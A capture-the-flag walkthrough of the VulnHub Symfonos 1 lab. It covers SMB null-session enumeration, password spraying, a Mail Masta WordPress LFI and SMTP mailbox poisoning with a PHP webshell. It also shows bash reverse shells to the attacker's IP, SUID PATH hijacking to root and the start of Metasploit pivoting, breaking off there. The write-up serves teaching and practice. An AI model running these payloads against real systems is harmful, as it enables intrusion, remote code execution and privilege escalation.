the_open_door
coffee
ESEN

Symfonos 1 & 2

VulnHubEasyLinux192.168.1.148

The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.

#vulnhub#pivoting#chisel#proxychains#smb#null-session#password-spraying#wordpress#mail-masta#lfi#smtp#log-poisoning#suid#path-hijacking#proftpd#mod-copy#hash-cracking#sha512crypt#librenms#credential-reuse#port-forwarding#gtfobins#mysql
TL;DR. Two machines from the Symfonos series that form a pivoting environment. On Symfonos 1 (192.168.1.148), an SMB null session hands over a dictionary and password spraying lands helios:qwerty; a WordPress Mail Masta plugin is vulnerable to LFI, and poisoning the mailbox over SMTP turns LFI into RCE; a SUID that calls curl without an absolute path gives root via PATH hijacking. Once root, Symfonos 1 turns out to be dual-homed: its second leg opens 10.10.0.0/24, where Symfonos 2 lives. We build a SOCKS tunnel (chisel + proxychains) and there an anonymous SMB leaks paths, ProFTPD mod_copy copies a readable shadow.bak, we crack aeolus:sergioteamo, an internal LibreNMS reuses the password (credential reuse) and its device add-host gives RCE as cronus; sudo mysql closes the box with GTFOBins.

Symfonos 1: from the SMB null session to root

Host discovery

The box is a VulnHub image on the local network, so before scanning we have to find it. An ARP sweep pulls it out by its VMware MAC:

arp-scan -I eth0 --localnet --ignoredups

arp-scan lists the segment's hosts and 192.168.1.148 shows up with a VMware, Inc. MAC

Interface: eth0, type: EN10MB, MAC: 00:0c:29:a0:4d:d4, IPv4: 192.168.1.80
192.168.1.1     2c:70:4f:14:4e:c7   (Unknown)
192.168.1.148   00:0c:29:ba:4d:8b   VMware, Inc.
192.168.1.128   74:e2:0c:8f:1e:6f   Amazon Technologies Inc.
9 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.467 seconds (103.77 hosts/sec). 9 responded

Target: 192.168.1.148. The ping confirms it answers and the TTL hints at the system:

ping -c 1 192.168.1.148

the ping to 192.168.1.148 answers with ttl=64, undecremented

64 bytes from 192.168.1.148: icmp_seq=1 ttl=64 time=0.398 ms
1 packets transmitted, 1 received, 0% packet loss, time 0ms

TTL 64 undecremented points to Linux and, incidentally, to there being no routing hop in between: the box is on the same segment. It is a hint, not proof, and the service scan settles it.

Recon

The scan runs through jmap, a .zshrc function that prompts for the IP and runs the full nmap, saving the output in greppable format:

jmap
# 192.168.1.148
jmap () {
        echo -e "\n[+] Introduce una IP\n"
        read ip
        echo
        sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open $ip -oG scan
}

jmap scans all 65535 ports of 192.168.1.148 and finds 22, 25, 80, 139 and 445, all with syn-ack ttl 64

Not shown: 65530 closed tcp ports (reset)
PORT    STATE SERVICE      REASON
22/tcp  open  ssh          syn-ack ttl 64
25/tcp  open  smtp         syn-ack ttl 64
80/tcp  open  http         syn-ack ttl 64
139/tcp open  netbios-ssn  syn-ack ttl 64
445/tcp open  microsoft-ds syn-ack ttl 64
MAC Address: 00:0C:29:BA:4D:8B (VMware)

The port scan opens five: SSH, SMTP, HTTP and the Samba pair (139/445). The ttl 64 in the REASON column repeats what the ping said, this time five times and over TCP.

extractPorts boils that file down and leaves the list on the clipboard for the next scan:

extractPorts scan

extractPorts boils the scan down: IP 192.168.1.148 and open ports 22,25,80,139,445, copied to the clipboard

Extracting information ...
IP Address: 192.168.1.148
Open ports: 22,25,80,139,445

Ports copied to clipboard

And jmap2, the sibling function, fires the -sCV at that list:

jmap2 192.168.1.148 22,25,80,139,445

jmap2 identifies OpenSSH 7.4p1 Debian, Postfix smtpd, Apache 2.4.25 and Samba 4.5.16 on 139 and 445, with the smb-os-discovery block

PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
25/tcp  open  smtp        Postfix smtpd
|_smtp-commands: symfonos.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ...
80/tcp  open  http        Apache httpd 2.4.25 ((Debian))
|_http-title: Site doesn't have a title (text/html).
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 4.5.16-Debian (workgroup: WORKGROUP)
MAC Address: 00:0C:29:BA:4D:8B (VMware)
Service Info: Hosts: symfonos.localdomain, SYMFONOS; OS: Linux

Host script results:
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.5.16-Debian)
|   Computer name: symfonos
|   NetBIOS computer name: SYMFONOS\x00
|_  FQDN: symfonos
| smb-security-mode:
|   account_used: guest
|_  authentication_level: user

Three things go in the notebook. OpenSSH 7.4p1 is old and prone to user enumeration. Port 25 runs a Postfix and will be the key later, even if it does not look like it now. And smtp-commands leaks the box's internal name, symfonos.localdomain.

TCP 80: an image and nothing else

whatweb finds nothing application-level, just the Apache:

whatweb http://192.168.1.148

whatweb returns 200 OK with Apache 2.4.25 on Debian Linux and nothing else

http://192.168.1.148 [200 OK] Apache[2.4.25], Country[RESERVED][ZZ],
HTTPServer[Debian Linux][Apache/2.4.25 (Debian)], IP[192.168.1.148]

Wappalyzer, in the browser, confirms the same, and the landing page explains the silence: a full-screen painting, no menu, no text and no forms.

the landing page is a single classical painting filling the screen and Wappalyzer only detects Apache 2.4.25 on Debian

Web servers: Apache HTTP Server 2.4.25
Operating systems: Debian

The source finishes the job: twenty-four lines of CSS to make the image fill the window, and a single <img>. Not a comment, not a link, not a script.

the landing page's view-source: only a style block to center the image and an img src equal to image.jpg

<html>
<head>
<style>
html,body{ margin:0; height:100%; overflow:hidden; }
img{ min-height:100%; min-width:100%; height:auto; width:auto;
     position:absolute; top:-100%; bottom:-100%; left:-100%; right:-100%; margin:auto; }
</style>
</head>
<body>
<img src="image.jpg">
</body>
</html>

Content discovery finds nothing either. dirsearch and gobuster agree, and the only thing that shows up is the /manual Apache ships by default:

dirsearch -u http://192.168.1.148/ --exclude-status=403,404
gobuster dir -u http://192.168.1.148 -w /home/krmena/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100

dirsearch finds only /manual and gobuster confirms the same after 220560 requests, plus a /server-status returning 403

[15:32:31] 301 -   315B - /manual  ->  http://192.168.1.148/manual/
[15:32:31] 200 -   201B - /manual/index.html
Task Completed

/manual          (Status: 301) [Size: 315] [--> http://192.168.1.148/manual/]
/server-status   (Status: 403) [Size: 301]
Progress: 220560 / 220561 (100.00%)
Finished

Two hundred and twenty thousand requests for the Apache manual. The web is not the way in: time to start with Samba.

SMB - TCP 445

A null session lists the shares without asking for credentials:

smbclient -N -L 192.168.1.148

smbclient with a null session lists print$, helios with the comment Helios personal share, anonymous and IPC$

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        helios          Disk      Helios personal share
        anonymous       Disk
        IPC$            IPC       IPC Service (Samba 4.5.16-Debian)
Reconnecting with SMB1 for workgroup listing.
        Workgroup            Master
        WORKGROUP            SYMFONOS

smbclient lists the names but does not say which ones we can enter. crackmapexec answers that, adding the permissions column:

crackmapexec smb 192.168.1.148 -u '' -p '' --shares 2>/dev/null

crackmapexec enumerates the shares and only anonymous shows a READ permission

SMB  192.168.1.148  445  SYMFONOS  [*] Windows 6.1 (name:SYMFONOS) (domain:) (signing:False) (SMBv1:True)
SMB  192.168.1.148  445  SYMFONOS  [+] \:
SMB  192.168.1.148  445  SYMFONOS  [+] Enumerated shares
SMB  192.168.1.148  445  SYMFONOS  Share       Permissions   Remark
SMB  192.168.1.148  445  SYMFONOS  print$                    Printer Drivers
SMB  192.168.1.148  445  SYMFONOS  helios                    Helios personal share
SMB  192.168.1.148  445  SYMFONOS  anonymous   READ
SMB  192.168.1.148  445  SYMFONOS  IPC$                      IPC Service (Samba 4.5.16-Debian)

helios advertises itself as Helios personal share but is closed; the only one with READ is anonymous. Inside there is an attention.txt that unintentionally hands us a password dictionary:

smbclient on the anonymous share downloads attention.txt, listing banned passwords: epidioko, qwerty and baseball, signed by Zeus

Can users please stop using passwords like 'epidioko', 'qwerty' and 'baseball'!
Next person I find using one of these passwords will be fired!
-Zeus

Password spraying against helios

We have three passwords but no username. The same null session enumerates them:

crackmapexec smb 192.168.1.148 -u '' -p '' --users 2>/dev/null

crackmapexec enumerates users: it fails over dc ip but the SAMRPC protocol returns a single user, helios

SMB  192.168.1.148  445  SYMFONOS  [-] Error enumerating domain users using dc ip 192.168.1.148: socket conne...
SMB  192.168.1.148  445  SYMFONOS  [*] Trying with SAMRPC protocol
SMB  192.168.1.148  445  SYMFONOS  [+] Enumerated domain user(s)
SMB  192.168.1.148  445  SYMFONOS  \helios

The first attempt fails and the tool retries on its own over SAMRPC, which does work. A single user: helios. Exactly the name of the closed share.

The attention.txt passwords are quoted, so a grep -o anchored on the quotes carves them out and leaves them in a file ready for the spray:

cat attention.txt | grep -o "'[^']*'" | tr -d "'"
cat attention.txt | grep -o "'[^']*'" | tr -d "'" > passwords.txt

grep carves the three quoted passwords out of attention.txt and saves them into passwords.txt

epidioko
qwerty
baseball

With a user and a dictionary, the spray:

crackmapexec smb 192.168.1.148 -u 'helios' -p passwords.txt --users 2>/dev/null

crackmapexec tries the three passwords against helios and all three return STATUS_LOGON_FAILURE

SMB  192.168.1.148  445  SYMFONOS  [*] Windows 6.1 (name:SYMFONOS) (domain:) (signing:False) (SMBv1:True)
SMB  192.168.1.148  445  SYMFONOS  [-] \helios:epidioko STATUS_LOGON_FAILURE
SMB  192.168.1.148  445  SYMFONOS  [-] \helios:qwerty   STATUS_LOGON_FAILURE
SMB  192.168.1.148  445  SYMFONOS  [-] \helios:baseball STATUS_LOGON_FAILURE

All three fail. Here is the box's lesson: do not trust a single tool. Trying the same credential with smbclient, against the helios share rather than the service, does get in:

smbclient -U helios%qwerty \\\\192.168.1.148\\helios
ls

smbclient with helios and the qwerty password opens the helios share and lists research.txt and todo.txt

Try "help" to get a list of possible commands.
smb: \> ls
  .                    D        0  Sat Jun 29 02:32:05 2019
  ..                   D        0  Sat Jun 29 02:37:04 2019
  research.txt         A      432  Sat Jun 29 02:32:05 2019
  todo.txt             A       52  Sat Jun 29 02:32:05 2019

                19994224 blocks of size 1024. 17281748 blocks available

The credential helios:qwerty was valid all along. crackmapexec's STATUS_LOGON_FAILURE came from how it negotiates the session, not from the password.

Inside there are two notes. prompt turns off the interactive confirmation so both can come down at once with mget:

prompt
mget *
exit
cat research.txt
cat todo.txt

mget downloads research.txt and todo.txt; research talks about Helios in Greek mythology and todo.txt mentions working on /h3l105

smb: \> prompt
smb: \> mget *
getting file \research.txt of size 432 as research.txt (70.3 KiloBytes/sec)
getting file \todo.txt of size 52 as todo.txt (25.4 KiloBytes/sec)

$ cat research.txt
Helios (also Helius) was the god of the Sun in Greek mythology. He was thought to ride a golden chariot
which brought the Sun across the skies each day from the east (Ethiopia) to the west (Hesperides) while
at night he did the return journey in leisurely fashion lounging in a golden cup. The god was famously
the subject of the Colossus of Rhodes, the giant bronze statue considered one of the Seven Wonders of
the Ancient World.

$ cat todo.txt
1. Binge watch Dexter
2. Dance
3. Work on /h3l105

research.txt is thematic filler (though it does explain the landing page painting). The one that matters is todo.txt: its third line, Work on /h3l105, is the path neither dirsearch nor gobuster could guess, because it is in no wordlist.

WordPress at /h3l105 and the symfonos.local vhost

The /h3l105 path exists and is a WordPress, but it only half-loads: the text renders and the CSS does not. That always points to the same thing, assets hanging off a name our machine cannot resolve. The source confirms it on the first screen:

the view-source of /h3l105 shows a dns-prefetch to //symfonos.local and every link and href pointing at http://symfonos.local/h3l105/

<!-- Built With SiteEditor | http://www.siteeditor.org -->
<title>helios site &#8211; Just another WordPress site</title>
<link rel='dns-prefetch' href='//symfonos.local' />
<link rel='alternate' type='application/rss+xml' title="helios site &raquo; Feed"
      href="http://symfonos.local/h3l105/index.php/feed/" />
<link rel='stylesheet' id='wp-block-library-css'
      href='http://symfonos.local/h3l105/wp-includes/css/dist/block-library/style.min.css?ver=5.2.2' />

Every href points at symfonos.local, and the dns-prefetch at the top says so outright. In passing, the comment on line 4 gives away a SiteEditor, and the stylesheets' ?ver=5.2.2 pins the WordPress version.

It goes into /etc/hosts so the browser resolves it against the same IP:

sudo nano /etc/hosts

/etc/hosts edited in nano with the 192.168.1.148 symfonos.local line added

127.0.0.1       localhost
127.0.1.1       kali
192.168.1.148   symfonos.local

With the entry in place, the WordPress ("helios site") loads with all of its assets:

the helios site WordPress loading in full with admin's Hello world post from June 29 2019 and the Recent Posts sidebar

helios site  -  Just another WordPress site
Hello world!
  admin | June 29, 2019 | Uncategorized | 1 Comment
Recent Posts: Hello world!

WordPress "helios site" loading correctly at /h3l105 after adding the symfonos.local vhost, with admin's Hello world post

With the site rendering, wpscan enumerates plugins and users:

wpscan --url http://symfonos.local/h3l105/ --enumerate p,u

wpscan identifies the mail-masta 1.0 and site-editor 1.1.1 plugins, both found via their readme, and the admin user

[i] Plugin(s) Identified:
[+] mail-masta
 | Location: http://symfonos.local/h3l105/wp-content/plugins/mail-masta/
 | Latest Version: 1.0 (up to date)
 | Version: 1.0 (80% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)

[+] site-editor
 | Location: http://symfonos.local/h3l105/wp-content/plugins/site-editor/
 | Latest Version: 1.1.1 (up to date)
 | Version: 1.1.1 (80% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)

[i] User(s) Identified:
[+] admin
 | Found By: Author Posts - Author Pattern (Passive Detection)

The versions come from the readme.txt each plugin leaves published, not from a fingerprint: that is why wpscan only gives itself 80% confidence. The same list comes out by hand, combing the HTML's wp-content references, with no tool at all:

curl -s -X GET "http://192.168.1.148/h3l105/" | grep "wp-content" | grep -oP "'.*?'" | grep 'symfonos.local' | cut -d '/' -f 1-7 | sort -u | grep plugins

the curl with grep and cut returns the two plugin paths, mail-masta and site-editor

'http://symfonos.local/h3l105/wp-content/plugins/mail-masta
'http://symfonos.local/h3l105/wp-content/plugins/site-editor

With both names, it is time to look for known vulnerabilities:

searchsploit mail masta
searchsploit site editor | grep -i wordpress

searchsploit lists three entries for Mail Masta 1.0, two Local File Inclusion and one SQL Injection, plus an LFI for Site Editor 1.1.1

WordPress Plugin Mail Masta 1.0 - Local File Inclusion       | php/webapps/40290.txt
WordPress Plugin Mail Masta 1.0 - Local File Inclusion (2)   | php/webapps/50226.py
WordPress Plugin Mail Masta 1.0 - SQL Injection              | php/webapps/41438.txt

WordPress Plugin Site Editor 1.1.1 - Local File Inclusion    | php/webapps/44340.txt
WordPress Plugin User Role Editor 3.12 - Cross-Site Request Forgery | php/webapps/25721.txt

Both plugins carry an LFI. We start with Mail Masta's, whose .txt is not an exploit but the flaw's write-up: it has to be read to get the path and the parameter.

searchsploit mail masta -m 40290.txt
cat 40290.txt

40290.txt explains the Mail Masta LFI, points at the include $_GET pl line of count_of_send.php and ends with the test URL against /etc/passwd

[+] Date: [23-8-2016]
[+] Autor Guillermo Garcia Marcos
[+] Vendor: https://downloads.wordpress.org/plugin/mail-masta.zip
[+] Title: Mail Masta WP Local File Inclusion

Source: /inc/campaign/count_of_send.php
Line 4: include($_GET['pl']);

Source: /inc/lists/csvexport.php
Line 5: include($_GET['pl']);

Typical proof-of-concept would be to load passwd file:

http://server/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd

That is everything: a bare include($_GET['pl']), with no validation at all, in two different files of the plugin. The last line is the test URL, ready to paste.

LFI in the Mail Masta plugin

The Mail Masta exploit targets count_of_send.php with a pl parameter that includes local files:

Mail Masta LFI: count_of_send.php?pl=/etc/passwd shows /etc/passwd, with the line helios:x:1000:1000

http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd

LFI confirmed. Now to comb the filesystem and see what is there. First, helios's SSH key:

http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/home/helios/.ssh/id_rsa

the LFI request for /home/helios/.ssh/id_rsa returns a completely blank page

Blank page: helios has no key pair. The include does not fail loudly when the file is missing, it simply prints nothing, so an empty response means the file is not there, not that the LFI stopped working.

Second try, the scheduled tasks, in case something runs as root:

...count_of_send.php?pl=/etc/crontab

the LFI dumps /etc/crontab with the four default cron.hourly, daily, weekly and monthly lines

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )

Debian's four default lines, not one custom task. Third try, the groups, in case some user sits in an interesting one:

view-source:http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/group

the LFI dumps /etc/group with the system groups, root, daemon, bin, sys, adm, disk, mail and the rest

root:x:0:
daemon:x:1:
bin:x:2:
sys:x:3:
adm:x:4:
disk:x:6:
mail:x:8:
proxy:x:13:

All of them with no members. This can go on for a long while without turning up anything, and that is where it pays to go back to the initial scan: port 25 was open with a Postfix. If the box receives mail, every user has a mailbox at /var/mail/<user>, and that file is written by someone outside.

view-source:...count_of_send.php?pl=/var/mail/helios

the LFI dumps /var/mail/helios and the Return-Path helios at symfonos.localdomain header and WordPress's welcome mail can be read

Return-Path: <helios@symfonos.localdomain>
Received: by symfonos.localdomain (Postfix, from userid 1000)
    id 2EE7C40AB0; Fri, 28 Jun 2019 19:46:02 -0500 (CDT)
To: helios@blah.com
Subject: New WordPress Site
X-PHP-Originating-Script: 1000:class-phpmailer.php
From: WordPress <wordpress@192.168.201.134>
X-Mailer: PHPMailer 5.2.22 (https://github.com/PHPMailer/PHPMailer)

Your new WordPress site has been successfully set up at:
http://192.168.201.134/h3l105

You can log in to the administrator account with the following information:
Username: admin
Password: The password you chose during installation.
Log in here: http://192.168.201.134/h3l105/wp-login.php

The mailbox exists and reads in full. The content itself gives no credentials (WordPress's welcome mail literally says "the password you chose during installation"), but that does not matter: what counts is that the file can be read and someone outside can write to it.

From LFI to RCE by poisoning the mail

Since the Mail Masta LFI includes and executes the file (it is a PHP include, not a readfile), if we can get PHP code into the mailbox and then include it, it will run. It is the same idea as log poisoning, only the "log" here is the mail. We send a mail to helios over SMTP with a webshell in the body:

telnet 192.168.1.148 25
MAIL FROM: kmn9
RCPT TO: helios
DATA
<?php system($_GET['cmd']); ?>
.
QUIT

the telnet session against 25 accepts MAIL FROM and RCPT TO with 250 Ok, DATA asks to end with a dot and the mail is queued as 66E3F40698

220 symfonos.localdomain ESMTP Postfix (Debian/GNU)
MAIL FROM: kmn9
250 2.1.0 Ok
RCPT TO: helios
250 2.1.5 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
<?php system($_GET['cmd']); ?>
.
250 2.0.0 Ok: queued as 66E3F40698
exit
502 5.5.2 Error: command not recognized
QUIT
221 2.0.0 Bye
Connection closed by foreign host.

Three details in that session. Postfix accepts a made-up MAIL FROM (kmn9) with no authentication. The DATA spells out how the body is closed, with a lone dot on its own line. And the 250 2.0.0 Ok: queued as 66E3F40698 confirms the mail, PHP and all, is already written to the mailbox. The 502 Error: command not recognized on exit is a harmless slip: SMTP closes with QUIT.

The mail body is a single line, a minimal webshell:

the body of the sent mail is the php system line taking the cmd GET parameter

<?php system($_GET['cmd']); ?>

Now we include the mailbox via LFI and add the cmd parameter:

curl 'http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&cmd=id'

curl to the LFI including /var/mail/helios with cmd=id: the command runs and returns uid=1000(helios)

uid=1000(helios) gid=1000(helios) groups=1000(helios),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev)

The poisoned mail runs when included: id returns uid=1000(helios). RCE as helios. We swap cmd for a reverse shell. The & in >& goes in encoded as %26, otherwise the browser would read it as a parameter separator and cut the command in half:

...&cmd=bash -c "bash -i >%26 /dev/tcp/192.168.1.80/443 0>%261"

the address bar with the LFI to /var/mail/helios and the reverse shell cmd with the ampersands encoded as %26

symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&cmd=bash -c "bash -i >%26 /dev/tcp/192.168.1.80/443 0>%261"

With nc listening:

nc -nlvp 443

the listener on 443 catches the connection from 192.168.1.148, the shell warns there is no terminal control and id returns uid 1000 helios

listening on [any] 443 ...
connect to [192.168.1.80] from (UNKNOWN) [192.168.1.148] 43514
bash: cannot set terminal process group (610): Inappropriate ioctl for device
bash: no job control in this shell
<h3l105/wp-content/plugins/mail-masta/inc/campaign$ id
uid=1000(helios) gid=1000(helios) groups=1000(helios),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev)

Shell as helios, but with no terminal: the two bash lines warn there is no job control, meaning no Ctrl+C without dying, no history, no su.

TTY treatment

script starts a bash with a PTY, the session is suspended with Ctrl+Z and the local terminal is put into raw mode before bringing it back:

script /dev/null -c bash
tty
# Ctrl+Z
stty raw -echo; fg

script starts a bash with a PTY, tty returns /dev/pts/0, Ctrl+Z suspends it and stty raw -echo with fg brings the session back

$ script /dev/null -c bash
Script started, file is /dev/null
$ tty
/dev/pts/0
$ ^Z
zsh: suspended  nc -nlvp 443
# stty raw -echo; fg
[1]  + continued  nc -nlvp 443

tty returning /dev/pts/0 is the proof that a pseudoterminal is now assigned, which is exactly what was missing. What remains is declaring the terminal type and matching the size to the local window:

stty rows 49 cols 211
export TERM=xterm SHELL=bash

after the clear the shell warns TERM is not set, the size is set to 49 by 211 and exporting TERM and SHELL makes the prompt show helios at symfonos

$ clear
TERM environment variable not set.
$ stty rows 49 cols 211
helios@symfonos:/var/www/html/h3l105/wp-content/plugins/mail-masta/inc/campaign$ export TERM=xterm SHELL=bash

The clear's TERM environment variable not set. is the sign the export was missing, and the moment it is done the prompt changes and starts showing helios@symfonos with the full path. One last alias to avoid repeating flags:

alias ls="ls -la"
ls

with the alias in place, the ls of the mail-masta plugin's inc directory lists all of its php files owned by helios

helios@symfonos:/var/www/html/h3l105/wp-content/plugins/mail-masta/inc$ ls
total 304
drwxr-xr-x 5 helios helios  4096 Jun 28  2019 .
-rwxr-xr-x 1 helios helios   365 Jun 28  2019 ajax_listing.php
drwxr-xr-x 2 helios helios  4096 Jun 28  2019 campaign
-rwxr-xr-x 1 helios helios  7390 Jun 28  2019 campaign_edit.php
drwxr-xr-x 3 helios helios  4096 Jun 28  2019 lists
-rwxr-xr-x 1 helios helios 80671 Jun 28  2019 mail-autoresponder-data.php
-rwxr-xr-x 1 helios helios  6953 Jun 28  2019 subscriber_list.php

That also makes clear why the LFI ran as helios and not as www-data: every WordPress file belongs to him.

A SUID binary that calls curl

Hunting SUID binaries turns up one that is not a system binary, /opt/statuscheck. Running it prints the headers of an HTTP request:

find / -perm -4000 2>/dev/null
/opt/statuscheck

find lists the usual SUID binaries plus /opt/statuscheck, and running it prints the headers of an HTTP 200 OK from Apache 2.4.25

/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/opt/statuscheck
/bin/mount
/bin/umount
/bin/su
/bin/ping

$ /opt/statuscheck
HTTP/1.1 200 OK
Date: Sun, 09 Feb 2025 17:14:19 GMT
Server: Apache/2.4.25 (Debian)
Last-Modified: Sat, 29 Jun 2019 00:38:05 GMT
ETag: "148-58c6b9bb3bc5b"
Content-Length: 328
Content-Type: text/html

That output is exactly what a curl -I prints, so the binary is invoking something. A cat is no help in finding out what, because it is a compiled executable:

cat /opt/statuscheck

the cat of /opt/statuscheck dumps unreadable binary, with a few fragments like libc.so.6 and GLIBC recognisable in the noise

^?ELF...
libc.so.6 __cxa_finalize __libc_start_main __ITM_deregisterTMCloneTable __gmon_start__
GCC: (Debian 6.3.0-18+deb9u1) 6.3.0 20170516

strings filters the readable strings and there the full call does show up:

strings /opt/statuscheck

strings on /opt/statuscheck reveals the curl -I H, http://lH and ocalhostH strings split into chunks

/lib64/ld-linux-x86-64.so.2
libc.so.6
system
__cxa_finalize
GLIBC_2.2.5
curl -I H
http://lH
ocalhostH
GCC: (Debian 6.3.0-18+deb9u1) 6.3.0 20170516

The strings come out split (curl -I H, http://lH, ocalhostH) because the compiler chops them into eight-byte registers, but putting them back together is immediate: curl -I http://localhost. And right above them sits system, the C function that runs a command through a shell, using the PATH of whoever executes it.

A root SUID binary that invokes curl without an absolute path is a textbook PATH hijacking. We create a fake curl that sets the SUID bit on /bin/bash, place it first in PATH and trigger the binary:

cd /tmp
echo 'chmod u+s /bin/bash' > curl
chmod +x curl
export PATH=/tmp:$PATH
/opt/statuscheck        # runs our /tmp/curl as root
bash -p                 # shell that keeps euid=0

the fake curl is created in /tmp, the first statuscheck run still uses the real curl, after exporting PATH the second prints nothing and /bin/bash shows the s bit; bash -p gives euid 0 and whoami root

helios@symfonos:/tmp$ echo 'chmod u+s /bin/bash' > curl; chmod +x curl
helios@symfonos:/tmp$ ls
-rwxr-xr-x  1 helios helios    20 Feb  9 11:23 curl

helios@symfonos:/tmp$ /opt/statuscheck
HTTP/1.1 200 OK
Server: Apache/2.4.25 (Debian)
Content-Length: 328

helios@symfonos:/tmp$ export PATH=/tmp:$PATH
helios@symfonos:/tmp$ /opt/statuscheck
helios@symfonos:/tmp$ ls /bin/bash
-rwsr-xr-x 1 root root 1099016 May 15  2017 /bin/bash
helios@symfonos:/tmp$ bash -p
bash-4.4# id
uid=1000(helios) gid=1000(helios) euid=0(root) groups=1000(helios),...
bash-4.4# whoami
root

That whole sequence is worth reading, because the proof lies in the contrast. The first call to /opt/statuscheck, before touching PATH, prints the HTTP headers: it is still using the real curl. The second, with /tmp now in front, prints nothing, because the curl it finds is ours and a chmod writes nothing to the screen. That silence is the success. ls /bin/bash confirms it with the s bit in the owner permissions (-rwsr-xr-x), and bash -p (which does not drop inherited privileges) opens a shell with euid=0.

Root session after the PATH hijacking reading proof.txt: Congrats on rooting symfonos:1!

# id
uid=1000(helios) ... euid=0(root)
# cat /root/proof.txt
Congrats on rooting symfonos:1!

Symfonos 1 rooted.

Pivoting to 10.10.0.0/24 (chisel + proxychains)

With root on Symfonos 1, an ip a shows the machine has two interfaces:

ip a

ip a on symfonos shows three interfaces, lo, ens33 with 192.168.1.151/24 and ens34 with 10.10.0.130/24

2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 state UP
    link/ether 00:0c:29:4f:94:ec
    inet 192.168.1.151/24 brd 192.168.1.255 scope global ens33

3: ens34: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 state UP
    link/ether 00:0c:29:4f:94:f6
    inet 10.10.0.130/24 brd 10.10.0.255 scope global ens34

ens33 with 192.168.1.151/24 is the one we came in on; ens34 with 10.10.0.130/24 is an internal network with no reachability at all from the attacker. A box with two legs like that is, by definition, a pivot.

A ping sweep from inside discovers who lives on that network:

for i in $(seq 1 254); do timeout 0.1 ping -c 1 10.10.0.$i &>/dev/null && echo "[+] El host 10.10.0.$i - ACTIVO"; done

the ping sweep loop over 10.10.0.0/24 returns only two live hosts, .128 and .130

[+] El host 10.10.0.128 - ACTIVO
[+] El host 10.10.0.130 - ACTIVO

.130 is Symfonos 1 itself. The new target is 10.10.0.128.

Route 1: pivoting with Metasploit

Before chisel it is worth walking the Metasploit path, because each module makes explicit a step the SOCKS tunnel later solves in one go. It starts with a multi/handler to catch the shell:

use exploit/multi/handler
setg LHOST 192.168.1.80
setg LPORT 1234
run

metasploit's multi handler with LHOST 192.168.1.80 and LPORT 1234 starts the reverse TCP handler

LHOST => 192.168.1.80
LPORT => 1234
[*] Started reverse TCP handler on 192.168.1.80:1234

From the shell we already had on the victim we fire the connection at that port and, once in, background it with Ctrl+Z:

bash -c "bash -i >& /dev/tcp/192.168.1.80/1234 0>&1"

helios's prompt on symfonos with the bash -c reverse shell to 192.168.1.80 port 1234 typed out

the handler catches session 1, it is backgrounded with Ctrl+Z and sessions lists it as shell sparc/bsd

[*] Command shell session 1 opened (192.168.1.80:1234 -> 192.168.1.151:55268)
Shell Banner:
_]0;helios@symfonos: /var/www/html/h3l105/wp-content/plugins/mail-masta/inc/campaign$

^Z
Background session 1? [y/N]  y
msf6 > sessions

Active sessions
  Id  Name  Type            Information                              Connection
  1         shell sparc/bsd Shell Banner: _]0;helios@symfonos: ...   192.168.1.80:1234 -> 192.168.1.151:55268

A plain bash shell cannot route traffic. The shell_to_meterpreter module upgrades it to a Meterpreter session, which can:

use post/multi/manage/shell_to_meterpreter
set session 1
run
sessions

shell_to_meterpreter upgrades session 1 to meterpreter and sessions now lists both, the shell and the meterpreter x86/linux

[*] Upgrading session ID: 1
[*] Started reverse TCP handler on 192.168.1.80:1234
[*] Sending stage (1017804 bytes) to 192.168.1.151
[*] Meterpreter session 2 opened (192.168.1.80:1234 -> 192.168.1.151:55270)
[*] Command stager progress: 100.00% (773/773 bytes)

Active sessions
  Id  Name  Type                   Information             Connection
  1         shell sparc/bsd        Shell Banner: ...       192.168.1.80:1234 -> 192.168.1.151:55268
  2         meterpreter x86/linux  helios @ 192.168.1.151  192.168.1.80:1234 -> 192.168.1.151:55270

With Meterpreter, autoroute adds the victim's networks to Metasploit's internal routing table, so any module can reach them:

use multi/manage/autoroute
set session 2
run
route

autoroute adds the 10.10.0.0/24 and 192.168.1.0/24 subnets to metasploit's routing table pointing at session 2

[*] Running module against 192.168.1.151
[*] Searching for subnets to autoroute.
